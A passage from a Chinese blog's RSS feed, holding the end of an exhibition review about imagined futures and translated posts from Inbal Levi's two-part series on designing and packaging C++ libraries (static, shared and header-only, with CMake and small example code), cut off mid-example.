<p>性、劳动、生育：人类迄今为止的主题——或者是永恒的主题。它们还会持续多久？2050年，宣传机器高呼的“本世纪中叶”，仿生机器人会成为它们的奴隶吗？</p>
<hr>
<p><img src="./PXL_20220615_114019311.jpg" alt="PXL_20220615_114019311.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_114013831.jpg" alt="PXL_20220615_114013831.jpg" loading="lazy"></p>
<p>这个作品在远处就吸引了我，自然是因为其在一众作品中突出的日式画风。近看发现右侧女人的耳饰实际上是一只张牙舞爪的小机器人，与左侧女人的传统耳饰乃至整体的传统画风形成强烈冲突。我想，这就是简介所言“令人作呕的味道”。</p>
<hr>
<p><img src="./PXL_20220615_114151338.jpg" alt="PXL_20220615_114151338.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_114146860.jpg" alt="PXL_20220615_114146860.jpg" loading="lazy"></p>
<p>这或许是个环保主义者得势的未来——光污染被清除，星光重现人间。但房间里闪烁的电子产品的 LED 灯暗示了另一个令人不安和焦虑的事实：“是啊，真漂亮…我很久都没有注意过了…我们好像有 137 个未读信息了。”</p>
<hr>
<p>一些不评论但也觉得很有趣的作品：</p>
<p><img src="./PXL_20220615_115311794.jpg" alt="PXL_20220615_115311794.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_110445996.jpg" alt="PXL_20220615_110445996.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112442489.jpg" alt="PXL_20220615_112442489.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112432477.jpg" alt="PXL_20220615_112432477.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112949301.jpg" alt="PXL_20220615_112949301.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_112941259.jpg" alt="PXL_20220615_112941259.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_113636040.jpg" alt="PXL_20220615_113636040.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_113630671.jpg" alt="PXL_20220615_113630671.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_114947008.jpg" alt="PXL_20220615_114947008.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_114941810.jpg" alt="PXL_20220615_114941810.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_110704184.jpg" alt="PXL_20220615_110704184.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_110827557.jpg" alt="PXL_20220615_110827557.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_111043255.jpg" alt="PXL_20220615_111043255.jpg" loading="lazy"></p>
<hr>
<p>最后，我想以这个作品作结：“我只对被可以称之为‘现在’的未来感兴趣。”</p>
<p><img src="./PXL_20220615_115128852.jpg" alt="PXL_20220615_115128852.jpg" loading="lazy"></p>
<p><img src="./PXL_20220615_115123488.jpg" alt="PXL_20220615_115123488.jpg" loading="lazy"></p>
<p>我们都如此缺乏想象力，以至于我们想象的未来都不过是现在的延续。站在 2022 年观看这组 2017 年的作品，艺术家们所想象的“未来”甚至可以被称为“过去”了：他们谈论的话题居然是环保、难民、赛博朋克、劳工权益，而不是战争、能源、流行病！</p>
<p>“谁控制了过去，谁就控制了未来；谁控制了现在，谁就控制了过去”。这句掷地有声的警句，却又如“把你赢的钱的一半给我”这般不痛不痒。谁知道我们现在生活在历史的哪里？又从何谈起未来？</p>
<p>（ps：刚到展馆的时候误入了某个献礼展厅，差点大骂退钱；然后发现是走错了…）</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[译文] 编写 C++ 库(二): 实现]]></title>
            <link>https://blog.yanli.one/translation-cpp-library-ii</link>
            <guid isPermaLink="false">https://blog.yanli.one/translation-cpp-library-ii</guid>
            <pubDate>Tue, 19 Apr 2022 16:00:00 GMT</pubDate>
            <description><![CDATA[编写 C++ 库的基本知识]]></description>
            <content:encoded><![CDATA[<aside>
💡 本文翻译自 Inbal Levi 的原文:
<p><a href="https://medium.com/nerd-for-tech/c-libraries-part-ii-implementation-44dab21e50ae" target="_blank" rel="noreferrer">C++ Libraries - Part II: Implementation</a></p>
</aside>
<p>本文是 <a href="https://blog.yanli.one/translation-cpp-library-i" target="_blank" rel="noreferrer">编写 C++ 库(一): 设计</a> 的后续文章.</p>
<p>在这一部分, 我们将介绍编写 C++ 库的基本知识.</p>
<hr>
<h2 id="_2-为-c-库编写代码的技术" tabindex="-1">2. 为 C++ 库编写代码的技术 <a class="header-anchor" href="#_2-为-c-库编写代码的技术" aria-label="Permalink to “2. 为 C++ 库编写代码的技术”">&#8203;</a></h2>
<p>C++ 提供了多种方式来编写库的代码:</p>
<p><img src="./Untitled.png" alt="Untitled" loading="lazy"></p>
<p>其中, (I) 和 (IV) 可以打包成一个包 (.o / .a / .so), 而 (II) 和 (III) 必须作为源代码提供.</p>
<h2 id="_3-打包库的代码的技术" tabindex="-1">3. 打包库的代码的技术 <a class="header-anchor" href="#_3-打包库的代码的技术" aria-label="Permalink to “3. 打包库的代码的技术”">&#8203;</a></h2>
<p><em>注意: 本文接下来将解释创建一个库的技术细节. 这些例子和说明基于 Linux 操作系统, 使用 CMake 工具. 在 Windows 操作系统上的流程与之相似.</em></p>
<p>正如上文 &quot;代码的使用方式&quot; 一节所详细提到的, 一般来说, 用户主要有三种方式来使用这个库:</p>
<ol>
<li>
<p><strong>使用库的源代码:</strong> 这通常是和上文中 2. (III) 的编写方式一并使用, 因为 template 模板可以“按需”创建代码, 而你仅仅只是将源码包装进库中而已.</p>
</li>
<li>
<p><strong>静态链接库:</strong> 库的代码将**嵌入用户的程序, 成为其一部分 (**库的代码将成为最后可执行文件的一部分).</p>
<p>这种库可以由以下的方式提供:</p>
<ul>
<li>一个 Object 文件 (.o)</li>
<li>一系列 Object 文件 (称为一个 “Object 库”)</li>
<li>一系列打包在一起的 Object 文件, 构成一个”主”文件 (.a) (称为一个 “Archive 库”)</li>
</ul>
</li>
<li>
<p><strong>动态链接库:</strong> 用户代码将存在“<strong>指向库的代码</strong>” (称为”符号 symbols”). 当运行用户代码的时候, 加载器 loader 会将库加载到内存中, 并提供<strong>对库的指向</strong>. 在这种情况下, <strong>库提供的符号 symbols (应用二进制接口, Application Binary Interface, ABI) 定义了库和用户代码的结合</strong>.</p>
<p>如果库没能提供这些符号 symbols (可能在编译的时候, 由链接器 linker 负责; 也有可能在加载的时候, 由加载器 loader 负责), 我们会得到<strong>链接器 linker / 加载器 loader 的报错</strong>.</p>
</li>
</ol>
<p>除此之外还有其它的使用方式, 不过它们在这篇文章中不会被讨论.</p>
<p>以上的这些方式都可以在库的 CMakeLists 文件中配置.</p>
<ol>
<li>
<p><strong>使用库的源代码:</strong> 创建一个 INTERFACE 库</p>
<p><img src="./Untitled 1.png" alt="Untitled" loading="lazy"></p>
</li>
<li>
<p><strong>静态链接库:</strong></p>
<ul>
<li>
<p>.o (Object 库)</p>
<p><img src="./Untitled 2.png" alt="Untitled" loading="lazy"></p>
</li>
<li>
<p>.a (Archive 库)</p>
<p><img src="./Untitled 3.png" alt="Untitled" loading="lazy"></p>
</li>
</ul>
</li>
<li>
<p><strong>动态链接库:</strong> .so (共享对象, shared object)</p>
<p><img src="./Untitled 4.png" alt="Untitled" loading="lazy"></p>
</li>
</ol>
<p>关于如何在 <strong>gcc</strong> 中手动创建每个选项的更多细节和技术规范, 请见:</p>
<p><a href="https://www.cprogramming.com/tutorial/shared-libraries-linux-gcc.html" target="_blank" rel="noreferrer">Shared libraries with GCC on Linux</a></p>
<h2 id="_4-库和用户代码的结合" tabindex="-1">4. 库和用户代码的结合 <a class="header-anchor" href="#_4-库和用户代码的结合" aria-label="Permalink to “4. 库和用户代码的结合”">&#8203;</a></h2>
<p>这就是说创建 main.out 可执行文件的过程.</p>
<h3 id="a-将库的源代码与用户代码结合" tabindex="-1">a. 将库的源代码与用户代码结合 <a class="header-anchor" href="#a-将库的源代码与用户代码结合" aria-label="Permalink to “a. 将库的源代码与用户代码结合”">&#8203;</a></h3>
<p>在编译源代码时, 最终产物只有 main.out 文件.</p>
<p><img src="./Untitled 5.png" alt="Untitled" loading="lazy"></p>
<p><em>Preprocessor: 预处理 | Compiler: 编译器 | Linker: 链接器</em></p>
<h3 id="b-将库做为-objects-静态-动态库" tabindex="-1">b. 将库做为 objects (静态/动态库) <a class="header-anchor" href="#b-将库做为-objects-静态-动态库" aria-label="Permalink to “b. 将库做为 objects (静态/动态库)”">&#8203;</a></h3>
<p><img src="./Untitled 6.png" alt="Untitled" loading="lazy"></p>
<p><em>Declaration: 声明 | Definition: 定义</em></p>
<p>*<strong>重点: 在动态库 .so 的这种情况中, main.out 将不包含库代码编译出的二进制内容. 作为替代, 在 main.out 被运行时, 加载器 loader 将把 .so 加载到内存中.</strong></p>
<h2 id="_5-分发你的库的方式" tabindex="-1">5. 分发你的库的方式 <a class="header-anchor" href="#_5-分发你的库的方式" aria-label="Permalink to “5. 分发你的库的方式”">&#8203;</a></h2>
<p>C++ 提供了多种方式来引入一个库 (部分列表):</p>
<p><img src="./Untitled 7.png" alt="Untitled" loading="lazy"></p>
<p><em>(I) 静态库 (.o / .a): 被加入到程序 main 中</em></p>
<p><em>(II) 仅头文件库 (.h): 被加入到程序 main 中</em></p>
<p><em>(III) 动态库 (.so): 被加入到共享对象 mylib.so, 需要重启 main 程序.</em></p>
<p><em>(IV) 动态库 (.so): 无需重启程序 main, 只需重载库即可 — 通过使用 dlopen.</em></p>
<p>*<strong>重点: (III) 和 (IV) 的区别仅在于用户的使用方式, 体现在 main 的代码中 (而与库的代码无关).</strong></p>
<p>以上这些方式的对比:</p>
<table tabindex="0">
<thead>
<tr>
<th></th>
<th>静态库 .o / .a</th>
<th>仅头文件库</th>
<th>动态库 .so</th>
<th>插入式动态库 .so (由用户决定)</th>
</tr>
</thead>
<tbody>
<tr>
<td>程序大小</td>
<td>最小 (仅与相关的 .o 有关)</td>
<td>由库中函数被调用的次数决定的 (因为函数是 inline 的)</td>
<td>最大 (必须包含所有的 API)</td>
<td>最大 (必须包含所有的 API)</td>
</tr>
<tr>
<td>内存占用</td>
<td>单用户时 — 最小 (可执行文件中只有相关的 .o)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>多用户时 — 因重复而翻倍</td>
<td>单用户时 — 最小 (可执行文件中只有相关的 .o)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>多用户时 — 因重复而翻倍</td>
<td>最大, 但仅被加载一次.</td>
<td>最大, 但仅被加载一次.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>暴露 API</td>
<td>只有头文件中的 API</td>
<td><strong>所有的逻辑</strong>和 API</td>
<td>只有头文件中的 API</td>
<td>只有头文件中的 API</td>
</tr>
<tr>
<td>是否需要重新编译</td>
<td>是 — .o 是程序 main 的一部分</td>
<td>是 — 源代码被用于创建程序 main</td>
<td>否 — 不过仅当 .so 的符号 symbols (也就是 API) 没有改变的时候</td>
<td>否 — 不过仅当 .so 的符号 symbols (也就是 API) 没有改变的时候</td>
</tr>
<tr>
<td>库的更改</td>
<td>main.out 可执行文件发生改变</td>
<td>main.out 可执行文件发生改变</td>
<td>若 API 没有改变, 则仅有 mylib.so 发生改变</td>
<td>若 API 没有改变, 则仅有 mylib.so 发生改变</td>
</tr>
</tbody>
</table>
<p>“最小” 意味着仅有用户使用到的部分 (如果是多个 .o 文件, 则仅有那些包含用户调用了的函数的 .o 文件)</p>
<p>“最大” 意味着库中的所有代码 (因为动态链接并不知道用户使用了库中的哪些部分, 因此 .so 包含了所有的代码)</p>
<p>与上表有关的更多信息:</p>
<ul>
<li>相同的代码可以由不一样的方式创建: <a href="https://stackoverflow.com/questions/25606736/library-design-allow-user-to-decide-between-header-only-and-dynamically-linke" target="_blank" rel="noreferrer">https://stackoverflow.com/questions/25606736/library-design-allow-user-to-decide-between-header-only-and-dynamically-linke</a></li>
<li>静态库与动态库的大小比较: <a href="https://stackoverflow.com/questions/27728385/how-statically-linked-binaries-could-be-smaller-than-dynamically-linked-binaries" target="_blank" rel="noreferrer">https://stackoverflow.com/questions/27728385/how-statically-linked-binaries-could-be-smaller-than-dynamically-linked-binaries</a></li>
</ul>
<h2 id="_6-结语" tabindex="-1">6. 结语 <a class="header-anchor" href="#_6-结语" aria-label="Permalink to “6. 结语”">&#8203;</a></h2>
<p>当然, 还有更多的主题需要解决, 本文仅试图涵盖最基本和最常见的一些技术.</p>
<p>C++20 支持了 &quot;可组合&quot; 代码的新的结构形式, 它可以改变构建库的过程, 特别是, 消除了对头文件的需求. 这种形式被称为模块. 这是一个完全不同的话题, 需要由单独的文章另行说明.</p>
<hr>
<p>感谢 <a href="https://twitter.com/hankadusikova" target="_blank" rel="noreferrer">Hana Dusíková</a> 和 Billy Baker 审阅此文.</p>
<p>也感谢你的阅读, 我希望你觉得这篇文章对你有益 😃</p>
<p>更新 (2022年3月): 我创建了一个 repo: <a href="https://github.com/inbal2l/TestCMake" target="_blank" rel="noreferrer">TestCMake</a>, 其中有针对静态库和仅头文件库的 CMake 文件的简化示例 (基本与<a href="https://cmake.org/cmake/help/latest/guide/tutorial/index.html#" target="_blank" rel="noreferrer">官方教程</a>一致).</p>
<hr>
<p>译者结: 本文是译者在完成<a href="https://github.com/BeautyYuYanli/simDroneGym" target="_blank" rel="noreferrer">一门课程作业</a>时参考的文章. 本文介绍了创建一个 C++ 库的基本方式和类型, 对于初次编写 C++ 库的开发者而言十分友好, 故翻译后发布至译者博客.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[译文] 编写 C++ 库(一): 设计]]></title>
            <link>https://blog.yanli.one/translation-cpp-library-i</link>
            <guid isPermaLink="false">https://blog.yanli.one/translation-cpp-library-i</guid>
            <pubDate>Mon, 18 Apr 2022 16:00:00 GMT</pubDate>
            <description><![CDATA[编写 C++ 库的基本知识]]></description>
            <content:encoded><![CDATA[<aside>
💡 本文翻译自 Inbal Levi 的原文:
<p><a href="https://medium.com/nerd-for-tech/c-libraries-part-i-design-9ed997dca8f3" target="_blank" rel="noreferrer">C++ Libraries - Part I: Design</a></p>
</aside>
<p>这篇文章介绍了编写一个 C++ 库的基本知识.</p>
<p>这篇文章最初来自一些人的疑问. 于是我为希望深入了解关于”库”的总体概念, 尤其是 C++ 库的开发者们写下了这篇简短的介绍文.</p>
<p>这是两篇系列文章的第一部分, 第二部分可以<a href="https://blog.yanli.one/translation-cpp-library-ii" target="_blank" rel="noreferrer">在这里</a>找到.</p>
<p>如果你有兴趣将你编写库的能力提高到一个新的水平, 这篇博文将是为你准备的 😃</p>
<hr>
<h2 id="_0-什么是库" tabindex="-1">0. 什么是库? <a class="header-anchor" href="#_0-什么是库" aria-label="Permalink to “0. 什么是库?”">&#8203;</a></h2>
<blockquote>
<p>库 (library, 图书馆) 是一个精心设计的信息来源与相似资源的集合.</p>
</blockquote>
<p>每个软件开发者都很熟悉”库”这个词.</p>
<p>在 C++ (尤其是基于面向对象设计的项目) 中, 几乎每个类都定义了一个 API (Application Programming Interface, 应用程序接口). 但并不是每个 API 都是库.</p>
<p>尽管上面引用的这句话指的是物理意义上的”图书馆”, 但它对于软件的”库”而言也十分贴切.</p>
<p>请你想想一个物理世界中的图书馆: 有这许许多多各种各样不同主题的书籍, 这些书籍可以在目录上依次排开, 也可以把一部分书放在一起, 形成一个书单. 对于软件的库来说, 一个库可以是单一的一个功能的集合 (比如一个文本解码器), 也可以是一系列多个功能的集合 — 例如 C++ 标准库 (standard C++ library, STL).</p>
<p>“库”通常意味着通过它定义的 API 提供功能, 但实际上还有更多东西 — 写一个库听起来简单, 但这是一个<strong>十分复杂</strong>的问题.</p>
<p>在开始之前, 让我们定义两个基础用词:</p>
<ul>
<li>库代码: 也就是这个库本身的代码, 用户需要写 #include “mylib.hpp” 这样的代码来引用这些库代码.</li>
<li>用户代码: 在程序中引入库, 调用库的功能的代码.</li>
</ul>
<p>在接下来的文章中, 我们会使用这份样例 (极简版, 实际上并不能运行) 进行解释:</p>
<p><strong>库 (”仅头文件” 版)</strong></p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// Shape.hpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Shape</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    enum</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Color</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> {</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        RED</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 1</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">,</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF">        BLUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#79B8FF"> 2</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    };</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    Shape</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> (Color color) {   </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a new shape"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  }</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    // Constructor</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()  {   </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a shape"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  }                     </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() {   </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"drawing a shape on screen"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  } </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p><strong>用户代码</strong></p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// main.cpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Shape.hpp"</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Shape my_shape </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">=</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Shape</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(RED);</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">    // "I'm a new shape"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_shape.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">           // "I'm a shape"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    my_shape.</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">();</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">        // "drawing a shape on screen"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span></code></pre>
</div><p>请注意, 一个库既可以可以写作”仅头文件”模式 (也就是仅有 .hpp 文件), 也可以写作 .hpp + .cpp 模式 (将定义和声明分离开, 定义部分写在 .cpp 文件里).</p>
<p>在头文件中编写代码会产生一些小的技术差异 (这里就不解释了), 但是当 template (模板) 被用作编写你的库的技术时, 通常会使用“仅头文件&quot;的模式.</p>
<p>其主要区别在于, 使用“开放”的 template 模板意味着它可以”按需”实现代码, 而这只能在 .hpp 源代码提供给用户代码时才能做到.</p>
<p>(template 模板库将在本文的后面出现, 但关于 template 模板技术的更多解释准备在另一篇博客中发表)</p>
<h2 id="_1-如何设计一个库" tabindex="-1">1. 如何设计一个库? <a class="header-anchor" href="#_1-如何设计一个库" aria-label="Permalink to “1. 如何设计一个库?”">&#8203;</a></h2>
<p>这儿有些问题, 你应当在准备编写库的时候思考清楚.</p>
<h3 id="a-这个库的-api-接口是什么" tabindex="-1">a. 这个库的 API 接口是什么? <a class="header-anchor" href="#a-这个库的-api-接口是什么" aria-label="Permalink to “a. 这个库的 API 接口是什么?”">&#8203;</a></h3>
<p>这是你需要做的最重要的决定.</p>
<p>当你定义 API 接口时, 你也就定义了用户将如何使用这个库. 更重要的是, 你定义了在你的库的不同版本之间不应该改变的内容.</p>
<p>如果你改变了 API 接口 — 你就在你的库中产生了一个破坏性的变化 (breaking change). 所以在定义它之前, 要仔细考虑.</p>
<p>最好的做法 (来自于面向对象的设计) 是将所有的实现细节封装起来, 只展示用户需要调用的部分.</p>
<h3 id="b-这个库的需求是什么" tabindex="-1">b. 这个库的需求是什么? <a class="header-anchor" href="#b-这个库的需求是什么" aria-label="Permalink to “b. 这个库的需求是什么?”">&#8203;</a></h3>
<p>你得想想这个库的用途.</p>
<p>你的库是给系统开发者使用的, 还是给其他库的编写者使用的, 或者是介于两者之间?</p>
<p>它是一个局部设施 (旨在被程序的特定部分使用, 如写入文件系统), 还是一个全局设施, 与所有程序有关? (比如说, 日志, 或普适的封装打包器)</p>
<h3 id="c-目标用户期望这个库有什么重要特性" tabindex="-1">c. 目标用户期望这个库有什么重要特性? <a class="header-anchor" href="#c-目标用户期望这个库有什么重要特性" aria-label="Permalink to “c. 目标用户期望这个库有什么重要特性?”">&#8203;</a></h3>
<p>这可能是以下一个或多个方面: 精简的代码量, 快速的运行性能, 可读性, 简单性, 向后兼容性, 等等.
请注意, 这其中的一些是相互矛盾的.</p>
<h3 id="d-用户会如何使用这个库" tabindex="-1">d. 用户会如何使用这个库? <a class="header-anchor" href="#d-用户会如何使用这个库" aria-label="Permalink to “d. 用户会如何使用这个库?”">&#8203;</a></h3>
<p>这一点可以分为以下的两个部分讨论. 务必注意. 这两个部分可能相关, 但不一定相互绑定.</p>
<ol>
<li>设计的使用方式</li>
<li>代码的使用方式</li>
</ol>
<p><strong>设计的使用方式</strong></p>
<p>这个库设计的内容将会如何被用户在代码中使用. 以下是两个典型例子:</p>
<ol>
<li>
<p>用户继承了这个库中定义的类</p>
<div class="language-cpp"><button title="Copy Code" class="copy"></button><span class="lang">cpp</span><pre class="shiki shiki-themes github-light github-dark" style="--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e" tabindex="0" dir="ltr" v-pre=""><code><span class="line"><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">// main.cpp</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">#include</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF"> "Shape.hpp"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">using</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Radios</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> =</span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583"> size_t</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">class</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Circle</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> : </span><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">public</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> Shape</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">    Circle</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">Color</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> color</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">, </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">Radios</span><span style="--shiki-light:#E36209;--shiki-dark:#FFAB70"> radios</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    : Shape (color)</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                         // calling shape constructor</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    , </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">m_radios</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(radios)</span><span style="--shiki-light:#6A737D;--shiki-dark:#6A737D">                      // initializing the radios of the circle</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    {  </span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">        Print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a new circle"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    }</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> printType</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()  {   </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"I'm a circle"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  }                    </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">    void</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> drawOnScreen</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">() {   </span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0">print</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">(</span><span style="--shiki-light:#032F62;--shiki-dark:#9ECBFF">"drawing a circle on screen"</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">);  }</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">    Radios m_radios;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">}</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8"> </span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#F97583">int</span><span style="--shiki-light:#6F42C1;--shiki-dark:#B392F0"> main</span><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">()</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E1E4E8">{</span></span>
